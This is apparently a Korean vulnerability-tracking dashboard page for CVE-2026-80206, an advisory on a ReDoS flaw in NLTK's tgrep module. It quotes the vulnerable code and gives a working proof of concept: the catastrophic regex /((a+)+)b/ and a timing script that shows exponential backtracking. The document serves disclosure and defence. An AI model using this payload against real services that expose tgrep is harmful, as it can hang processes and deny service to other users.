Kestrel
대시보드로 돌아가기
CVE-2026-80206HIGHMITRENVDGHSA대응게시일: 2026. 08. 26.수정일: 2026. 09. 08.

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS
0.3%상위 81.8%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py_tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

python
1def _tgrep_node_action(_s, _l, tokens):
2 ...
3 elif tokens[0].startswith("/"):
4 assert tokens[0].endswith("/")
5 node_lit = tokens[0][1:-1]
6 return (
7 lambda r: lambda n, m=None, l=None: r.search(
8 _tgrep_node_literal_value(n)
9 )
10 )(re.compile(node_lit)) # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

python
1import nltk
2from nltk.tgrep import tgrep_positions
3
4# Root node label is 25 'a' characters.
5# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
6# No 'b' is present — exponential backtracking occurs.
7tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
8tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python
1import nltk
2from nltk.tgrep import tgrep_positions
3import time
4
5def test_n(n):
6 tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
7 pattern = r"/((a+)+)b/"
8 start = time.perf_counter()
9 list(tgrep_positions(pattern, [tree]))
10 return time.perf_counter() - start
11
12if __name__ == "__main__":
13 # Adjust the range if needed – these values complete quickly
14 n_values = [18, 20, 22, 24, 26, 28]
15 print(f"Testing n = {n_values}\n")
16
17 times = []
18 for n in n_values:
19 t = test_n(n)
20 times.append((n, t))
21 print(f"n={n:2d} done", flush=True)
22
23 print("\n--- Increase factors (per step in n) ---")
24 factors = []
25 for i in range(1, len(times)):
26 prev_n, prev_t = times[i-1]
27 curr_n, curr_t = times[i]
28 factor = curr_t / prev_t
29 factors.append((curr_n, factor))
30 print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
31
32 avg = sum(f for _, f in factors) / len(factors)
33 print(f"\nAverage factor: {avg:.2f}x")
34 print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
35 print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.